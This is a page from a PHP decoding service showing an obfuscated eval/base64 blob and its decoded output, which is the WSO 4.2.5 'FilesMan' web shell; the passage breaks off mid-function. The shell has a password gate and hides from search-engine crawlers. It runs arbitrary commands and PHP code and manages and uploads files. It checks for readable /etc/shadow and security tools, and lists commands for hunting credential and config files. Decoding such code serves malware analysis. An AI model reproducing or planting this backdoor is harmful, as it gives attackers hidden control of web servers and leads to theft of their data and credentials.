Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzuncompress(base64_decode("eJzlvet227iyMPi7z1rfOzDc2qHUlmVJttOJZDl2fE8c2/Eld4+aIimJM..
Decoded Output download
$="0aaecb917fb536fda1fab30329137bf7";$=true;$='UTF-8';$='FilesMan';$=md5($_SERVER['HTTP_USER_AGENT']);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])){prototype(md5($_SERVER['HTTP_HOST'])."key",$);}if(empty($_POST['charset']))$_POST['charset']=$;if(!isset($_POST['ne'])){if(isset($_POST['a']))$_POST['a']=iconv("utf-8",$_POST['charset'],decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));if(isset($_POST['c']))$_POST['c']=iconv("utf-8",$_POST['charset'],decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));if(isset($_POST['p1']))$_POST['p1']=iconv("utf-8",$_POST['charset'],decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));if(isset($_POST['p2']))$_POST['p2']=iconv("utf-8",$_POST['charset'],decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));if(isset($_POST['p3']))$_POST['p3']=iconv("utf-8",$_POST['charset'],decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));}function decrypt($str,$pwd){return$str;}@ini_set('error_log',null);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);if(PHP_VERSION_ID<70000)@set_magic_quotes_runtime(0);@define('VERSION','4.2.5');if(get_magic_quotes_gpc()){function stripslashes_array($array){return is_array($array)?array_map('stripslashes_array',$array):stripslashes($array);}$_POST=stripslashes_array($_POST);$_COOKIE=stripslashes_array($_COOKIE);}if(!empty($)){if(isset($_POST['pass'])&&(md5($_POST['pass'])==$))prototype(md5($_SERVER['HTTP_HOST']),$);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!=$))hardLogin();}if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=(bool)$;function hardLogin(){if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");}if(strtolower(substr(PHP_OS,0,3))=="win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os=='win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!='/')$cwd.='/';function hardHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS[''];echo"<html><head><meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset']."'><title>".$_SERVER['HTTP_HOST']." - WSO ".VERSION."</title>
<style>
body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:#C3C3C3;}
table#toolsTbl {background-color: #060A10;}
span,h1,a {color:#fff !important;}
span {font-weight:bolder;}
h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}
a:hover {text-decoration:underline;}
.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
.bigarea {min-width:100%;max-width:100%;height:400px;}
input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
label {position:relative}
label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
form {margin:0px;}
#toolsTbl {text-align:center;}
#fak {background:none;}
#fak td {padding:5px 0 0 0;}
iframe {border:1px solid #060a10;}
.toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{background-color:#354252;}
.main td, th{vertical-align:middle;}
input[type='submit']{background-color:#2E6E9C;}
input[type='button']{background-color:#2E6E9C;}
input[type='submit']:hover{background-color:#56AD15;}
input[type='button']:hover{background-color:#56AD15;}
.l1 {background-color:#202832;}
pre {font:9pt Courier New;}
</style>
<script>
var c_ = '".htmlspecialchars($GLOBALS['cwd'])."';
var a_ = '".htmlspecialchars(@$_POST['a'])."'
var charset_ = '".htmlspecialchars(@$_POST['charset'])."';
var p1_ = '".((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES))."';
var p2_ = '".((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES))."';
var p3_ = '".((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES))."';
var d = document;
function encrypt(str,pwd){ return str; }
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI'])."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';if(strpos('Linux',$kernel)!==false)$explink.=urlencode('Linux Kernel '.substr($release,0,6));else $explink.=urlencode($kernel.' '.substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(@posix_geteuid());$gid=@posix_getgrgid(@posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links.="<a href='#' onclick='g(\"FilesMan\",\"";for($j=0;$j<=$i;$j++)$cwd_links.=$path[$j].'/';$cwd_links.="\")'>".$path[$i]."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as$)$opt_charsets.='<option value="'.$.'" '.($_POST['charset']==$?'selected':'').'>'.$.'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';$menu='';foreach($m as$k=>$v)$menu.='<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';$drives="";if($GLOBALS['os']=='win'){foreach(range('c','z') as$drive)if(is_dir($drive.':\'))$drives.='<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';}echo'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os']=='win'?'<br>Drives:':'').'</span></td>'.'<td><nobr>'.substr(@php_uname(),0,120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';}function hardFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";echo"
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
<tr>
<td><form onsubmit=\"".(function_exists('actionFilesMan')?"g(null,this.c.value,'');":'')."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='submit'></form></td>
<td><form onsubmit=\"".(function_exists('actionFilesTools')?"g('FilesTools',null,this.f.value);":'')."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
</tr><tr>
<td><form onsubmit=\"".(function_exists('actionFilesMan')?"g('FilesMan',null,'mkdir',this.d.value);":'')."return false;\"><span>Make dir:</span>".$is_writable."<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
<td><form onsubmit=\"".(function_exists('actionFilesTools')?"g('FilesTools',null,this.f.value,'mkfile');":'')."return false;\"><span>Make file:</span>".$is_writable."<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
</tr><tr>
<td><form onsubmit=\"".(function_exists('actionConsole')?"g('Console',null,this.c.value);":'')."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
<td><form method='post' ".((!function_exists('actionFilesMan'))?" onsubmit=\"return false;\" ":'')."ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=ne value=''>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<span>Upload file:</span>".$is_writable."<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
</tr></table></div>
<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
</body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function ex($in){$='';if(function_exists('exec')){@exec($in,$);$=@join("
",$);}elseif(function_exists('passthru')){ob_start();@passthru($in);$=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$=ob_get_clean();}elseif(function_exists('shell_exec')){$=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$="";while(!@feof($f))$.=fread($f,1024);pclose($f);}else return" Unable to execute command
";return($==''?" Query did not return anything
":$);}function viewSize($s){if($s>=1073741824)return sprintf('%1.2f',$s/1073741824).' GB';elseif($s>=1048576)return sprintf('%1.2f',$s/1048576).' MB';elseif($s>=1024)return sprintf('%1.2f',$s/1024).' KB';else return$s.' B';}function perms($p){if(($p&0xC000)==0xC000)$i='s';elseif(($p&0xA000)==0xA000)$i='l';elseif(($p&0x8000)==0x8000)$i='-';elseif(($p&0x6000)==0x6000)$i='b';elseif(($p&0x4000)==0x4000)$i='d';elseif(($p&0x2000)==0x2000)$i='c';elseif(($p&0x1000)==0x1000)$i='p';else $i='u';$i.=(($p&0x0100)?'r':'-');$i.=(($p&0x0080)?'w':'-');$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i.=(($p&0x0020)?'r':'-');$i.=(($p&0x0010)?'w':'-');$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i.=(($p&0x0004)?'r':'-');$i.=(($p&0x0002)?'w':'-');$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return$i;}function viewPermsColor($f){if(!@is_readable($f))return'<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';elseif(!@is_writable($f))return'<font color=white><b>'.perms(@fileperms($f)).'</b></font>';else return'<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';}function hardScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh)))$files[]=$filename;return$files;}}function which($p){$path=ex('which '.$p);if(!empty($path))return$path;return false;}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=>php_uname(),"php_version"=>phpversion(),"VERSION"=>VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}function prototype($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}function actionSecInfo(){hardHeader();echo'<h1>Server security information</h1><div class=content>';function showSecParam($n,$v){$v=trim($v);if($v){echo'<span>'.$n.': </span>';if(strpos($v,"
")===false)echo$v.'<br>';else echo'<pre class=ml1>'.$v.'</pre>';}}showSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))showSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));showSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');showSecParam('Open base dir',@ini_get('open_basedir'));showSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));showSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));showSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (".mysql_get_client_info().")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";showSecParam('Supported databases',implode(', ',$temp));echo'<br>';if($GLOBALS['os']=='nix'){showSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');showSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');showSecParam('OS version',@file_get_contents('/proc/version'));showSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo'<br>';$temp=array();foreach($userful as$)if(which($))$temp[]=$;showSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as$)if(which($))$temp[]=$;showSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as$)if(which($))$temp[]=$;showSecParam('Downloaders',implode(', ',$temp));echo'<br/>';showSecParam('HDD space',ex('df -h'));showSecParam('Hosts',@file_get_contents('/etc/hosts'));showSecParam('Mount options',@file_get_contents('/etc/fstab'));}}else{showSecParam('OS Version',ex('ver'));showSecParam('Account Settings',iconv('CP866','UTF-8',ex('net accounts')));showSecParam('User Accounts',iconv('CP866','UTF-8',ex('net user')));}echo'</div>';hardFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: ".$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo @fread($fp,1024);fclose($fp);}}exit;}if(@$_POST['p2']=='mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}hardHeader();echo'<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo'File not exists';hardFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo'<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';echo'<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch','Frame');else $m=array('Chmod','Rename','Touch');foreach($m as$v)echo'<a href=# onclick="g(null,null,\''.urlencode($_POST['p1']).'\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';echo'<br><br>';switch($_POST['p2']){case 'view':echo'<pre class=ml1>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo'</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){echo'<div class=ml1 style="background-color: #e1e1e1;color:black;">';$oRb=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$oRb).'</div>';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms+=(int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));if(!@chmod($_POST['p1'],$perms))echo'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';}clearstatcache();echo'<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';break;case 'edit':if(!is_writable($_POST['p1'])){echo'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo'Saved!<br><script>p3_="";</script>';@touch($_POST['p1'],$time,$time);}}echo'<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo'</textarea><input type=submit value="submit"></form>';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].=sprintf('%02X',ord($c[$i])).' ';switch(ord($c[$i])){case 0:$h[2].=' ';break;case 9:$h[2].=' ';break;case 10:$h[2].=' ';break;case 13:$h[2].=' ';break;default:$h[2].=$c[$i];break;}$n++;if($n==32){$n=0;if($i+1<$len){$h[0].=sprintf('%08X',$i+1).'<br>';}$h[1].='<br>';$h[2].="
";}}echo'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){if(!@rename($_POST['p1'],$_POST['p3']))echo'Can\'t rename!<br>';else die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');}echo'<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo'Fail!';else echo'Touched!';}else echo'Bad time format!';}clearstatcache();echo'<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';break;case 'frame':$frameSrc=substr(htmlspecialchars($GLOBALS['cwd']),strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));if($frameSrc[0]!='/')$frameSrc='/'.$frameSrc;if($frameSrc[strlen($frameSrc)-1]!='/')$frameSrc=$frameSrc.'/';$frameSrc=$frameSrc.htmlspecialchars($_POST['p1']);echo'<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';break;}echo'</div>';hardFooter();}if($os=='win')$aliases=array("List Directory"=>"dir","Find index.php in current dir"=>"dir /s /w /b index.php","Find *config*.php in current dir"=>"dir /s /w /b *config*.php","Show active connections"=>"netstat -an","Show running services"=>"net start","User accounts"=>"net user","Show computers"=>"net view","ARP Table"=>"arp -a","IP Configuration"=>"ipconfig /all");else $aliases=array("List dir"=>"ls -lha","list file attributes on a Linux second extended file system"=>"lsattr -va","show opened ports"=>"netstat -an | grep -i listen","process status"=>"ps aux","Find"=>"","find all suid files"=>"find / -type f -perm -04000 -ls","find suid files in current dir"=>"find . -type f -perm -04000 -ls","find all sgid files"=>"find / -type f -perm -02000 -ls","find sgid files in current dir"=>"find . -type f -perm -02000 -ls","find config.inc.php files"=>"find / -type f -name config.inc.php","find config* files"=>"find / -type f -name \"config*\"","find config* files in current dir"=>"find . -type f -name \"config*\"","find all writable folders and files"=>"find / -perm -2 -ls","find all writable folders and files in current dir"=>"find . -perm -2 -ls","find all service.pwd files"=>"find / -type f -name service.pwd","find service.pwd files in current dir"=>"find . -type f -name service.pwd","find all .htpasswd files"=>"find / -type f -name .htpasswd","find .htpasswd files in current dir"=>"find . -type f -name .htpasswd","find all .bash_history files"=>"find / -type f -name .bash_history","find .bash_history files in current dir"=>"find . -type f -name .bash_history","find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc","Locate"=>"","locate httpd.conf files"=>"locate httpd.conf","locate vhosts.conf files"=>"locate vhosts.conf","locate proftpd.conf files"=>"locate proftpd.conf","locate psybnc.conf files"=>"locate psybnc.conf","locate my.conf files"=>"locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=>"locate cfg.php","locate conf.php files"=>"locate conf.php","locate config.dat files"=>"locate config.dat","locate config.php files"=>"locate config.php","locate config.inc files"=>"locate config.inc","locate config.inc.php"=>"locate config.inc.php","locate config.default.php files"=>"locate config.default.php","locate config* files "=>"locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=>"locate '.pwd'","locate .sql files"=>"locate '.sql'","locate .htpasswd files"=>"locate '.htpasswd'","locate .bash_history files"=>"locate '.bash_history'","locate .mysql_history files"=>"locate '.mysql_history'","locate .fetchmailrc files"=>"locate '.fetchmailrc'","locate backup files"=>"locate backup","locate dump files"=>"locate dump","locate priv files"=>"locate priv");function 